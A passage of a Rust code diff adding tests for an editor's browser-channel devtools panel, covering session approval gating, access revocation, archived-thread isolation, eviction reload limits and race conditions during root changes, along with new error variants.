+    let persisted = persisted_devtools_thread(&app, "/p/app", Some("no-such-agent"), cx);
+    let (_a, panel) = connect_panel("/p/app", 1, &app, cx);
+    panel.handle(
+        request(
+            "subscribe",
+            "s",
+            json!({ "target": { "thread_id": persisted } }),
+        ),
+        &app.app_state(),
+        cx,
+    );
+    let answer = reply(&panel.drain(cx), "s");
+    assert_eq!(answer["kind"], "error", "{answer}");
+    assert_eq!(answer["error"], "agent_start_failed", "{answer}");
+    assert_eq!(answer["fatal"], false);
+    assert!(!panel.closed());
+}
+
+// ---------------------------------------------------------------------------------------------
+// Refine v2 (2026-10-15): the interim arm, revoke's reach, the dev-server answer, archived
+// threads and eviction.
+
+/// A connection whose sessions load again, under the agent id the window's panel keys it by
+/// (`StubAgentServer`'s "Test"), so a released thread can be reloaded from its metadata.
+fn loadable_connection() -> StubAgentConnection {
+    StubAgentConnection::new()
+        .with_supports_load_session(true)
+        .with_agent_id("Test".into())
+}
+
+fn set_max_idle_retained_threads(count: usize, cx: &mut TestAppContext) {
+    cx.update(|cx| {
+        SettingsStore::update_global(cx, |store, cx| {
+            store
+                .set_user_settings(
+                    &format!(r#"{{ "agent": {{ "max_idle_retained_threads": {count} }} }}"#),
+                    cx,
+                )
+                .expect("valid agent settings");
+        });
+    });
+    cx.run_until_parked();
+}
+
+/// The operator opens another thread in the editor's panel: the one it showed becomes a retained
+/// thread, and the panel releases idle retained threads over its cap.
+fn open_another_editor_thread(app: &mut Win) {
+    crate::test_support::open_thread_with_custom_connection(
+        &app.panel,
+        StubAgentConnection::new()
+            .with_supports_load_session(true)
+            .with_agent_id("Other".into()),
+        &mut app.cx,
+    );
+}
+
+fn thread_id_of(key: &str, cx: &mut TestAppContext) -> crate::thread_metadata_store::ThreadId {
+    cx.update(|cx| {
+        crate::thread_metadata_store::ThreadMetadataStore::global(cx)
+            .read(cx)
+            .entry_ids()
+            .find(|id| id.to_key_string() == key)
+            .unwrap_or_else(|| panic!("{key} is a known thread"))
+    })
+}
+
+/// The save the conversation makes when its first message goes out: the draft gains a session,
+/// so the thread is persisted (and can be archived or reloaded).
+fn promote(key: &str, cx: &mut TestAppContext) {
+    let id = thread_id_of(key, cx);
+    cx.update(|cx| {
+        let store = crate::thread_metadata_store::ThreadMetadataStore::global(cx);
+        let mut metadata = store
+            .read(cx)
+            .entry(id)
+            .cloned()
+            .expect("metadata of a created thread");
+        metadata.session_id = Some(agent_client_protocol::v2::schema::SessionId::new(format!(
+            "session-{key}"
+        )));
+        store.update(cx, |store, cx| store.save(metadata, cx));
+    });
+    cx.run_until_parked();
+}
+
+/// The view the window's panel holds for `thread_id` — active, retained or the parked draft.
+fn view_of(app: &Win, thread_id: crate::thread_metadata_store::ThreadId) -> Option<EntityId> {
+    app.panel.read_with(&app.cx, |panel, cx| {
+        panel
+            .conversation_view_for(thread_id, cx)
+            .map(|view| view.entity_id())
+    })
+}
+
+fn run_revoke_browser_access(app: &mut Win, cx: &mut TestAppContext) {
+    let action = cx
+        .update(|cx| cx.build_action("devtools_bridge::RevokeBrowserAccess", None))
+        .expect("the action is registered under this name");
+    app.cx
+        .update(|window, cx| window.dispatch_action(action, cx));
+    app.cx.run_until_parked();
+}
+
+/// Every non-hello request a panel can send, each with a distinct request id.
+fn every_panel_request() -> Vec<(&'static str, Value)> {
+    vec![
+        ("list_threads", json!({})),
+        ("create_thread", json!({})),
+        (
+            "subscribe",
+            json!({ "target": { "thread_id": "00000000-0000-0000-0000-000000000000" } }),
+        ),
+        ("subscribe", json!({ "target": { "follow": true } })),
+        ("send", json!({ "text": "x", "attachments": [] })),
+        ("cancel", json!({})),
+        ("authorize", json!({ "request_id": "q", "option_id": "o" })),
+        ("open_in_zeo", json!({})),
+    ]
+}
+
+#[gpui::test]
+async fn hostile_a_panel_and_a_dev_server_never_get_not_approved_but_an_unapproved_extension_does(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let (announce, panel) = connect_panel("/p/app", 1, &app, cx);
+
+    for (n, (kind, extra)) in every_panel_request().into_iter().enumerate() {
+        for (who, session) in [("panel", &panel), ("dev_server", &announce)] {
+            let rid = format!("{who}-{n}");
+            session.handle(request(kind, &rid, extra.clone()), &app.app_state(), cx);
+            let answer = reply(&session.drain(cx), &rid);
+            assert_ne!(
+                answer["error"], "not_approved",
+                "B4: a {who} session never reaches the extension's approval path ({kind}): {answer}"
+            );
+        }
+    }
+    assert!(
+        !panel.closed() && !announce.closed(),
+        "R9.3: both sessions kept"
+    );
+
+    // Converse: the extension's gate is unchanged — an extension still waiting for approval, and
+    // a session that has said no hello at all, are still answered `not_approved`.
+    let pending = open_session(10);
+    pending.handle(hello("chrome", "never-approved"), &app.app_state(), cx);
+    pending.drain(cx);
+    pending.handle(
+        request("list_threads", "l", json!({})),
+        &app.app_state(),
+        cx,
+    );
+    assert_eq!(
+        reply(&pending.drain(cx), "l")["error"],
+        "not_approved",
+        "R4.5 (045): an unapproved extension is still gated"
+    );
+    let silent = open_session(11);
+    silent.handle(
+        request("list_threads", "l", json!({})),
+        &app.app_state(),
+        cx,
+    );
+    assert_eq!(
+        reply(&silent.drain(cx), "l")["error"],
+        "not_approved",
+        "no hello is no kind: not a panel, so still gated"
+    );
+}
+
+#[gpui::test]
+async fn hostile_revoke_browser_access_closes_every_extension_session_and_no_panel_or_dev_server(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let approved = open_session(1);
+    let got = kinds(&approve(&approved, &app.app_state(), cx));
+    assert!(got.contains(&"welcome".to_string()), "{got:?}");
+    let pending = open_session(2);
+    pending.handle(hello("chrome", "pending-ext"), &app.app_state(), cx);
+    pending.drain(cx);
+    let (announce, panel) = connect_panel("/p/app", 10, &app, cx);
+
+    run_revoke_browser_access(&mut app, cx);
+
+    assert!(
+        approved.closed(),
+        "R7.7: the approved extension session closes"
+    );
+    assert!(
+        pending.closed(),
+        "R7.7: so does one still waiting for approval"
+    );
+    assert!(
+        !panel.closed(),
+        "R7.7: a panel holds no approval to revoke and stays open"
+    );
+    assert!(
+        !announce.closed(),
+        "R7.7: a dev-server session holds no approval to revoke and stays open"
+    );
+
+    // Still served after the revoke, not merely left unclosed.
+    panel.handle(
+        request("list_threads", "l", json!({})),
+        &app.app_state(),
+        cx,
+    );
+    let answer = reply(&panel.drain(cx), "l");
+    assert_eq!(answer["kind"], "threads", "the panel still works: {answer}");
+    let connected = cx.update(|cx| {
+        crate::devtools_projects::DevtoolsProjects::global(cx)
+            .read(cx)
+            .project_for(std::path::Path::new("/p/app"))
+            .is_some()
+    });
+    assert!(
+        connected,
+        "R2.4: the announce still holds the connected project"
+    );
+}
+
+#[gpui::test]
+async fn a_dev_server_hello_gets_welcome_then_exactly_its_state(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", None, cx).await;
+
+    // Hostile half first: a root no window holds is still welcomed, and its state is closed.
+    let closed = open_session(1);
+    closed.handle(dev_hello("/p/web"), &app.app_state(), cx);
+    let got = closed.drain(cx);
+    assert_eq!(
+        kinds(&got),
+        vec!["welcome".to_string(), "project_closed".to_string()],
+        "R2.8/R2.3: welcome, then project_closed, nothing else"
+    );
+    assert_eq!(got[0]["id"], "h", "welcome echoes the hello id");
+    assert!(!closed.closed(), "R2.3: the session is kept");
+
+    let open = open_session(2);
+    open.handle(dev_hello("/p/app"), &app.app_state(), cx);
+    let got = open.drain(cx);
+    assert_eq!(
+        kinds(&got),
+        vec!["welcome".to_string(), "project_open".to_string()],
+        "R2.8: welcome, then project_open, nothing else"
+    );
+    assert_eq!(got[0]["id"], "h", "welcome echoes the hello id");
+}
+
+#[gpui::test]
+async fn hostile_an_archived_devtools_thread_answers_the_same_not_found_as_an_editor_thread(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let editor = crate::test_support::active_thread_id(&app.panel, &app.cx).to_key_string();
+    let (_announce, panel) = connect_panel("/p/app", 1, &app, cx);
+    let archived = created_thread(&panel, &app, cx);
+    promote(&archived, cx);
+    let sibling = created_thread(&panel, &app, cx);
+    let archived_id = thread_id_of(&archived, cx);
+    cx.update(|cx| {
+        crate::thread_metadata_store::ThreadMetadataStore::global(cx)
+            .update(cx, |store, cx| store.archive(archived_id, None, cx))
+    });
+    cx.run_until_parked();
+
+    let mut answers = Vec::new();
+    for (n, id) in [editor.as_str(), archived.as_str()].into_iter().enumerate() {
+        let rid = format!("s{n}");
+        panel.handle(
+            request("subscribe", &rid, json!({ "target": { "thread_id": id } })),
+            &app.app_state(),
+            cx,
+        );
+        let answer = reply(&panel.drain(cx), &rid);
+        assert_eq!(answer["error"], "not_found", "{answer}");
+        answers.push(without_id(answer));
+    }
+    assert_eq!(
+        answers[0], answers[1],
+        "archived devtools vs editor thread: indistinguishable"
+    );
+    assert!(
+        !serde_json::to_string(&answers)
+            .expect("json")
+            .contains(&archived),
+        "no id echoed back"
+    );
+    panel.handle(
+        request("list_threads", "l", json!({})),
+        &app.app_state(),
+        cx,
+    );
+    let listed = reply(&panel.drain(cx), "l");
+    let ids: Vec<&str> = listed["items"]
+        .as_array()
+        .expect("items")
+        .iter()
+        .filter_map(|t| t["thread_id"].as_str())
+        .collect();
+    assert_eq!(
+        ids,
+        vec![sibling.as_str()],
+        "R5.4: the archived one is not listed"
+    );
+
+    // Converse: archiving one devtools thread does not hide its unarchived sibling.
+    panel.handle(
+        request(
+            "subscribe",
+            "s",
+            json!({ "target": { "thread_id": sibling } }),
+        ),
+        &app.app_state(),
+        cx,
+    );
+    assert_eq!(reply(&panel.drain(cx), "s")["kind"], "snapshot");
+}
+
+#[gpui::test]
+async fn evicting_a_subscribed_idle_devtools_thread_keeps_the_panels_stream_through_a_reload(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut app = window(&fs, "/p/app", Some(loadable_connection()), cx).await;
+    let (_announce, panel) = connect_panel("/p/app", 1, &app, cx);
+    let thread = created_thread(&panel, &app, cx);
+    promote(&thread, cx);
+    let id = thread_id_of(&thread, cx);
+    panel.handle(
+        request(
+            "subscribe",
+            "s",
+            json!({ "target": { "thread_id": thread } }),
+        ),
+        &app.app_state(),
+        cx,
+    );
+    assert_eq!(reply(&panel.drain(cx), "s")["kind"], "snapshot");
+    let first_view = view_of(&app, id).expect("the window holds the devtools thread");
+
+    // A connected, idle devtools thread follows the editor's idle cap (design B3 Retention).
+    set_max_idle_retained_threads(0, cx);
+    open_another_editor_thread(&mut app);
+    let editor = crate::test_support::active_thread_id(&app.panel, &app.cx);
+    set_max_idle_retained_threads(5, cx);
+
+    let got = kinds(&panel.drain(cx));
+    assert!(
+        !got.contains(&"thread_closed".to_string()),
+        "B4 Eviction: the panel's stream is not ended: {got:?}"
+    );
+    assert!(
+        !got.iter().any(|kind| kind.starts_with("error")),
+        "no error either, not_found least of all (R5.8): {got:?}"
+    );
+    let reloaded = view_of(&app, id).expect("B4: reloaded through ensure_loaded");
+    assert_ne!(
+        reloaded, first_view,
+        "the cap did evict it: this is a reload, not a view kept back"
+    );
+    assert_ne!(editor, id, "the editor shows its own new thread");
+
+    let editor_messages = user_messages(&app);
+    panel.handle(
+        request(
+            "send",
+            "m",
+            json!({ "text": "still here", "attachments": [] }),
+        ),
+        &app.app_state(),
+        cx,
+    );
+    let sent = reply(&panel.drain(cx), "m");
+    assert_eq!(
+        sent["kind"], "sent",
+        "the stream still drives the thread: {sent}"
+    );
+    assert_eq!(
+        crate::test_support::active_thread_id(&app.panel, &app.cx),
+        editor,
+        "A2: the editor's active view never moved"
+    );
+    assert_eq!(
+        user_messages(&app),
+        editor_messages,
+        "the message went to the devtools thread, not the editor's"
+    );
+}
+
+#[gpui::test]
+async fn hostile_an_extensions_evicted_editor_thread_still_closes_its_stream_and_is_not_reloaded(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let connection = loadable_connection();
+    let mut app = window(&fs, "/p/app", Some(connection.clone()), cx).await;
+    // A thread with a message: switching away never parks it as the empty draft.
+    crate::test_support::send_message(&app.panel, &mut app.cx);
+    // End the stub's turn, or the thread stays generating and retention never releases it.
+    let session = app
+        .thread()
+        .read_with(&app.cx, |thread, _| thread.session_id().clone());
+    connection.end_turn(
+        session,
+        agent_client_protocol::v1::schema::StopReason::EndTurn,
+    );
+    app.cx.run_until_parked();
+    let editor = crate::test_support::active_thread_id(&app.panel, &app.cx);
+    let extension = open_session(1);
+    approve(&extension, &app.app_state(), cx);
+    extension.handle(
+        request(
+            "subscribe",
+            "s",
+            json!({ "target": { "thread_id": editor.to_key_string() } }),
+        ),
+        &app.app_state(),
+        cx,
+    );
+    assert_eq!(reply(&extension.drain(cx), "s")["kind"], "snapshot");
+
+    set_max_idle_retained_threads(0, cx);
+    open_another_editor_thread(&mut app);
+    set_max_idle_retained_threads(5, cx);
+
+    assert!(
+        kinds(&extension.drain(cx)).contains(&"thread_closed".to_string()),
+        "045 unchanged: an extension's stream on an evicted editor thread ends"
+    );
+    assert_eq!(
+        view_of(&app, editor),
+        None,
+        "the reload on eviction is for a panel's devtools thread only"
+    );
+}
diff --git a/crates/agent_ui/src/browser_channel_tests/panel_policy_races.rs b/crates/agent_ui/src/browser_channel_tests/panel_policy_races.rs
new file mode 100644
index 0000000..e59ed6e
--- /dev/null
+++ b/crates/agent_ui/src/browser_channel_tests/panel_policy_races.rs
@@ -0,0 +1,425 @@
+// Story 055, task 11.1, fix cycle 1 — the panel policy's answers that arrive after the session
+// changed under them (design.md §B4, §Security "Thread isolation"; R5.5, R7.2, R9.1). Wired
+// INSIDE `src/browser_channel.rs` beside `panel_policy`:
+//
+//     #[cfg(test)]
+//     #[path = "browser_channel_tests/panel_policy_races.rs"]
+//     mod panel_policy_races;
+//
+// A `create_thread` and a `subscribe` to a persisted thread wait on work the session does not
+// hold. These tests hand the session its next message before that work runs (`handle_now`, no
+// `run_until_parked`), so the change lands while the answer is still in flight:
+//   - a `hello` moving the panel to another root: nothing of the old root's thread reaches it
+//     (R5.5), neither a snapshot nor `created`;
+//   - a later `subscribe`: the earlier one is refused, and the refusal is logged (R9.1);
+//   - the project closing: the answer is `project_closed` (R7.2);
+// and the eviction reload's bound holds across the panel's own re-subscribes (design.md §B4
+// Eviction): a spent budget refuses the re-subscribe without loading, so retention and the panel
+// cannot chase each other at the re-subscribe rate.
+
+use std::path::PathBuf;
+use std::sync::Arc;
+use std::time::Duration;
+
+use acp_thread::StubAgentConnection;
+use gpui::{EntityId, TestAppContext, UpdateGlobal as _};
+use serde_json::{Value, json};
+use settings::SettingsStore;
+use workspace::AppState;
+
+use super::test_support::*;
+use super::{ClientMsg, EVICTION_RELOAD_INTERVAL, EVICTION_RELOADS, logged_lines};
+
+fn dev_hello(root: &str) -> Value {
+    json!({
+        "v": 2, "kind": "hello", "id": "h",
+        "client": {
+            "kind": "dev_server", "root": root,
+            "app_url": "http://localhost:5173", "panel_url": "http://localhost:5174"
+        }
+    })
+}
+
+fn panel_hello(root: &str) -> Value {
+    json!({ "v": 2, "kind": "hello", "id": "h", "client": { "kind": "panel", "root": root } })
+}
+
+/// An announced dev server and a panel session for `root`; returns (announce, panel).
+fn connect_panel(root: &str, n: u64, win: &Win, cx: &mut TestAppContext) -> (Probe, Probe) {
+    let announce = open_session(n);
+    announce.handle(dev_hello(root), &win.app_state(), cx);
+    announce.drain(cx);
+    let panel = open_session(n + 1);
+    panel.handle(panel_hello(root), &win.app_state(), cx);
+    panel.drain(cx);
+    (announce, panel)
+}
+
+/// Hands `msg` to the session without running what it spawns, so the next message lands while
+/// this one's answer is still in flight.
+fn handle_now(probe: &Probe, msg: Value, app_state: &Arc<AppState>, cx: &mut TestAppContext) {
+    let msg: ClientMsg = serde_json::from_value(msg).expect("ClientMsg deserializes");
+    cx.update(|cx| super::handle_session_message(&probe.session, msg, app_state.clone(), cx));
+}
+
+fn reply(msgs: &[Value], id: &str) -> Value {
+    msgs.iter()
+        .find(|m| m["id"] == id)
+        .cloned()
+        .unwrap_or_else(|| panic!("no reply to {id}: {msgs:?}"))
+}
+
+fn subscribe(id: &str, thread_id: &str) -> Value {
+    request(
+        "subscribe",
+        id,
+        json!({ "target": { "thread_id": thread_id } }),
+    )
+}
+
+fn created_thread(panel: &Probe, win: &Win, cx: &mut TestAppContext) -> String {
+    panel.handle(
+        request("create_thread", "c", json!({})),
+        &win.app_state(),
+        cx,
+    );
+    let created = reply(&panel.drain(cx), "c");
+    assert_eq!(created["kind"], "created", "{created}");
+    created["thread"]["thread_id"]
+        .as_str()
+        .expect("a thread id")
+        .to_string()
+}
+
+/// A connection whose sessions load again, under the agent id the window's panel keys it by.
+fn loadable_connection() -> StubAgentConnection {
+    StubAgentConnection::new()
+        .with_supports_load_session(true)
+        .with_agent_id("Test".into())
+}
+
+/// A devtools thread of `root` that exists only in the stores (saved with a session, marked) and
+/// is not loaded; its agent is the window's own, so loading it succeeds.
+fn persisted_devtools_thread(win: &Win, root: &str, cx: &mut TestAppContext) -> String {
+    let thread_id = crate::thread_metadata_store::ThreadId::new();
+    let project = win
+        .workspace
+        .read_with(&win.cx, |workspace, _| workspace.project().clone());
+    let active = crate::test_support::active_thread_id(&win.panel, &win.cx);
+    cx.update(|cx| {
+        let store = crate::thread_metadata_store::ThreadMetadataStore::global(cx);
+        let agent_id = store
+            .read(cx)
+            .entry(active)
+            .map(|metadata| metadata.agent_id.clone())
+            .expect("the window's thread has metadata");
+        let metadata = crate::thread_metadata_store::ThreadMetadata {
+            thread_id,
+            session_id: Some(agent_client_protocol::v2::schema::SessionId::new(format!(
+                "persisted-{}",
+                thread_id.to_key_string()
+            ))),
+            agent_id,
+            title: Some("Persisted devtools thread".into()),
+            title_override: None,
+            updated_at: chrono::Utc::now(),
+            created_at: None,
+            interacted_at: None,
+            worktree_paths: project.read(cx).worktree_paths(cx),
+            archived: false,
+            remote_connection: None,
+        };
+        store.update(cx, |store, cx| store.save(metadata, cx));
+    });
+    cx.run_until_parked();
+    cx.update(|cx| {
+        crate::thread_organization::ThreadOrganizationStore::global(cx).update(cx, |store, cx| {
+            store
+                .set_devtools_root(thread_id, PathBuf::from(root), cx)
+                .expect("a saved thread can carry the mark");
+        })
+    });
+    cx.run_until_parked();
+    thread_id.to_key_string()
+}
+
+fn thread_id_of(key: &str, cx: &mut TestAppContext) -> crate::thread_metadata_store::ThreadId {
+    cx.update(|cx| {
+        crate::thread_metadata_store::ThreadMetadataStore::global(cx)
+            .read(cx)
+            .entry_ids()
+            .find(|id| id.to_key_string() == key)
+            .unwrap_or_else(|| panic!("{key} is a known thread"))
+    })
+}
+
+/// Gives a created thread a session, as its first message would, so retention may release it
+/// and it can be loaded again.
+fn promote(key: &str, cx: &mut TestAppContext) {
+    let id = thread_id_of(key, cx);
+    cx.update(|cx| {
+        let store = crate::thread_metadata_store::ThreadMetadataStore::global(cx);
+        let mut metadata = store
+            .read(cx)
+            .entry(id)
+            .cloned()
+            .expect("metadata of a created thread");
+        metadata.session_id = Some(agent_client_protocol::v2::schema::SessionId::new(format!(
+            "session-{key}"
+        )));
+        store.update(cx, |store, cx| store.save(metadata, cx));
+    });
+    cx.run_until_parked();
+}
+
+/// The view the window's panel holds for `thread_id`, if any: active, retained or the draft.
+fn view_of(app: &Win, thread_id: crate::thread_metadata_store::ThreadId) -> Option<EntityId> {
+    app.panel.read_with(&app.cx, |panel, cx| {
+        panel
+            .conversation_view_for(thread_id, cx)
+            .map(|view| view.entity_id())
+    })
+}
+
+fn set_max_idle_retained_threads(count: usize, cx: &mut TestAppContext) {
+    cx.update(|cx| {
+        SettingsStore::update_global(cx, |store, cx| {
+            store
+                .set_user_settings(
+                    &format!(r#"{{ "agent": {{ "max_idle_retained_threads": {count} }} }}"#),
+                    cx,
+                )
+                .expect("valid agent settings");
+        });
+    });
+    cx.run_until_parked();
+}
+
+/// Retention releases every idle retained thread: a cap of 0 runs the panel's cleanup.
+fn evict_idle_threads(cx: &mut TestAppContext) {
+    set_max_idle_retained_threads(5, cx);
+    set_max_idle_retained_threads(0, cx);
+}
+
+fn panel_refusals(kind: &str) -> Vec<String> {
+    logged_lines()
+        .into_iter()
+        .filter(|line| {
+            line.contains("event=panel_refused") && line.contains(&format!("kind={kind} "))
+        })
+        .collect()
+}
+
+#[gpui::test]
+async fn hostile_a_root_change_during_a_subscribe_load_shows_nothing_of_the_old_roots_thread(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(loadable_connection()), cx).await;
+    let _web = window(&fs, "/p/web", None, cx).await;
+    let persisted = persisted_devtools_thread(&app, "/p/app", cx);
+    let (_announce, panel) = connect_panel("/p/app", 1, &app, cx);
+    let app_state = app.app_state();
+
+    handle_now(&panel, subscribe("s", &persisted), &app_state, cx);
+    handle_now(&panel, panel_hello("/p/web"), &app_state, cx);
+    let got = panel.drain(cx);
+
+    let answer = reply(&got, "s");
+    assert_eq!(answer["kind"], "error", "{answer}");
+    assert_eq!(answer["error"], "bad_request", "{answer}");
+    let kinds = kinds(&got);
+    assert!(
+        !kinds
+            .iter()
+            .any(|kind| kind == "snapshot" || kind.starts_with("entry")),
+        "R5.5: no snapshot or entry of /p/app's thread reaches /p/web's panel: {kinds:?}"
+    );
+    assert!(
+        !serde_json::to_string(&got)
+            .expect("json")
+            .contains(&persisted),
+        "R5.5: the old root's thread id never reaches the panel: {got:?}"
+    );
+
+    // Nothing is bound either: a send has no thread to go to.
+    panel.handle(
+        request("send", "m", json!({ "text": "x", "attachments": [] })),
+        &app_state,
+        cx,
+    );
+    assert_eq!(reply(&panel.drain(cx), "m")["error"], "no_thread");
+}
+
+#[gpui::test]
+async fn hostile_a_root_change_during_a_create_never_answers_created_with_the_old_roots_thread(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let _web = window(&fs, "/p/web", None, cx).await;
+    let (_announce, panel) = connect_panel("/p/app", 1, &app, cx);
+    let app_state = app.app_state();
+    let refused = panel_refusals("create_thread").len();
+
+    handle_now(
+        &panel,
+        request("create_thread", "c", json!({})),
+        &app_state,
+        cx,
+    );
+    handle_now(&panel, panel_hello("/p/web"), &app_state, cx);
+    let got = panel.drain(cx);
+
+    let answer = reply(&got, "c");
+    assert_eq!(answer["kind"], "error", "R5.5: not created: {answer}");
+    assert_eq!(answer["error"], "bad_request", "{answer}");
+    assert!(
+        !got.iter()
+            .any(|msg| msg["kind"] == "created" || msg.get("thread").is_some()),
+        "R5.5: no thread of /p/app reaches /p/web's panel: {got:?}"
+    );
+    let lines = panel_refusals("create_thread");
+    assert_eq!(lines.len(), refused + 1, "R9.1: the refusal is logged");
+    assert!(lines[refused].contains("root=/p/app"), "{}", lines[refused]);
+}
+
+#[gpui::test]
+async fn a_subscribe_replaced_by_a_later_one_is_refused_and_the_refusal_is_logged(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(loadable_connection()), cx).await;
+    let persisted = persisted_devtools_thread(&app, "/p/app", cx);
+    let (_announce, panel) = connect_panel("/p/app", 1, &app, cx);
+    let mine = created_thread(&panel, &app, cx);
+    let app_state = app.app_state();
+    let refused = panel_refusals("subscribe").len();
+
+    // The first waits on a load; the second is answered at once.
+    handle_now(&panel, subscribe("s1", &persisted), &app_state, cx);
+    handle_now(&panel, subscribe("s2", &mine), &app_state, cx);
+    let got = panel.drain(cx);
+
+    let first = reply(&got, "s1");
+    assert_eq!(first["kind"], "error", "{first}");
+    assert_eq!(first["error"], "bad_request", "{first}");
+    let second = reply(&got, "s2");
+    assert_eq!(second["kind"], "snapshot", "{second}");
+    assert_eq!(second["thread"]["thread_id"], json!(mine));
+    assert_eq!(
+        got.iter().filter(|msg| msg["kind"] == "snapshot").count(),
+        1,
+        "the replaced subscribe binds nothing: {got:?}"
+    );
+
+    let lines = panel_refusals("subscribe");
+    assert_eq!(
+        lines.len(),
+        refused + 1,
+        "R9.1: the refusal is logged: {lines:#?}"
+    );
+    let line = &lines[refused];
+    assert!(
+        line.contains("root=/p/app")
+            && line.contains(&persisted)
+            && line.contains("error=bad_request"),
+        "{line}"
+    );
+}
+
+#[gpui::test]
+async fn a_project_closing_while_a_subscribe_loads_answers_project_closed(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut app = window(&fs, "/p/app", Some(loadable_connection()), cx).await;
+    let _web = window(&fs, "/p/web", None, cx).await;
+    let persisted = persisted_devtools_thread(&app, "/p/app", cx);
+    let (_announce, panel) = connect_panel("/p/app", 1, &app, cx);
+    let app_state = app.app_state();
+
+    handle_now(&panel, subscribe("s", &persisted), &app_state, cx);
+    app.cx.update(|window, _| window.remove_window());
+    cx.run_until_parked();
+    // The load ends however it ends — here the view outlives its window (this test holds the
+    // panel), so it waits out the connection timeout; what the panel is told is the project.
+    cx.executor()
+        .advance_clock(crate::devtools_threads::CONNECT_TIMEOUT + Duration::from_secs(1));
+    let got = panel.drain(cx);
+
+    let answer = reply(&got, "s");
+    assert_eq!(answer["kind"], "error", "{answer}");
+    assert_eq!(answer["error"], "project_closed", "R7.2: {answer}");
+    assert_eq!(answer["fatal"], false);
+    assert!(
+        !panel.closed(),
+        "R7.2: the session stays, ready for project_open"
+    );
+}
+
+#[gpui::test]
+async fn the_eviction_reload_bound_holds_across_the_panels_re_subscribes(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(loadable_connection()), cx).await;
+    let (_announce, panel) = connect_panel("/p/app", 1, &app, cx);
+    let thread = created_thread(&panel, &app, cx);
+    promote(&thread, cx);
+    let app_state = app.app_state();
+    panel.handle(subscribe("s", &thread), &app_state, cx);
+    assert_eq!(reply(&panel.drain(cx), "s")["kind"], "snapshot");
+
+    for n in 0..EVICTION_RELOADS {
+        evict_idle_threads(cx);
+        let got = kinds(&panel.drain(cx));
+        assert!(
+            !got.contains(&"thread_closed".to_string()),
+            "release {n} is within the bound: reloaded, not ended: {got:?}"
+        );
+        assert!(
+            got.contains(&"snapshot".to_string()),
+            "release {n}: the reload sends a fresh snapshot: {got:?}"
+        );
+    }
+    evict_idle_threads(cx);
+    assert!(
+        kinds(&panel.drain(cx)).contains(&"thread_closed".to_string()),
+        "one release over the bound ends the stream"
+    );
+
+    // The panel re-subscribes, as its page does on `thread_closed`. The bound is not refilled:
+    // the thread is not loaded again, so retention has nothing to release, and the answer says
+    // the agent could not start (never `not_found`: the thread is still the panel's, R5.8).
+    let id = thread_id_of(&thread, cx);
+    assert_eq!(view_of(&app, id), None, "released, so not loaded");
+    let refused = panel_refusals("subscribe").len();
+    panel.handle(subscribe("again", &thread), &app_state, cx);
+    let answer = reply(&panel.drain(cx), "again");
+    assert_eq!(answer["kind"], "error", "{answer}");
+    assert_eq!(answer["error"], "agent_start_failed", "{answer}");
+    assert_eq!(answer["fatal"], false);
+    assert!(!panel.closed());
+    assert_eq!(view_of(&app, id), None, "a spent budget loads nothing");
+    let lines = panel_refusals("subscribe");
+    assert_eq!(lines.len(), refused + 1, "R9.1: the refusal is logged");
+    assert!(
+        lines[refused].contains(&thread) && lines[refused].contains("error=agent_start_failed"),
+        "{}",
+        lines[refused]
+    );
+
+    // Once the interval has passed, a subscribe loads it, and a release is reloaded again.
+    cx.executor()
+        .advance_clock(EVICTION_RELOAD_INTERVAL + Duration::from_secs(1));
+    panel.handle(subscribe("later", &thread), &app_state, cx);
+    assert_eq!(reply(&panel.drain(cx), "later")["kind"], "snapshot");
+    evict_idle_threads(cx);
+    let got = kinds(&panel.drain(cx));
+    assert!(
+        !got.contains(&"thread_closed".to_string()),
+        "a new interval has a new bound: {got:?}"
+    );
+}
diff --git a/crates/agent_ui/src/browser_channel_tests/support.rs b/crates/agent_ui/src/browser_channel_tests/support.rs
index b47903e..8e1e946 100644
--- a/crates/agent_ui/src/browser_channel_tests/support.rs
+++ b/crates/agent_ui/src/browser_channel_tests/support.rs
@@ -58,6 +58,9 @@ pub fn init(cx: &mut TestAppContext) {
     cx.update(|cx| {
         agent::ThreadStore::init_global(cx);
         language_model::LanguageModelRegistry::test(cx);
+        // `agent_ui::init` installs it in Zeo; story 055's panel tests mark persisted devtools
+        // threads in it before any session exists.
+        crate::thread_organization::init(cx);
     });
 }
 
diff --git a/crates/agent_ui/src/browser_wire.rs b/crates/agent_ui/src/browser_wire.rs
index 890e188..c473a19 100644
--- a/crates/agent_ui/src/browser_wire.rs
+++ b/crates/agent_ui/src/browser_wire.rs
@@ -50,6 +50,10 @@ pub enum ChannelError {
     StalePermission,
     AiDisabled,
     SendFailed,
+    /// A thread a panel session may not reach, whether it exists or not (story 055, R5.5).
+    NotFound,
+    ProjectClosed,
+    AgentStartFailed,
     /// Produced by the host, never by Zeo; known here so a relayed one deserializes.
     OversizedFromZeo,
 }
@@ -76,6 +80,9 @@ impl ChannelError {
             Self::StalePermission => "stale_permission",
             Self::AiDisabled => "ai_disabled",
             Self::SendFailed => "send_failed",
+            Self::NotFound => "not_found",
+            Self::ProjectClosed => "project_closed",
+            Self::AgentStartFailed => "agent_start_failed",
             Self::OversizedFromZeo => "oversized_from_zeo",
         }
     }
@@ -99,13 +106,17 @@ impl ChannelError {
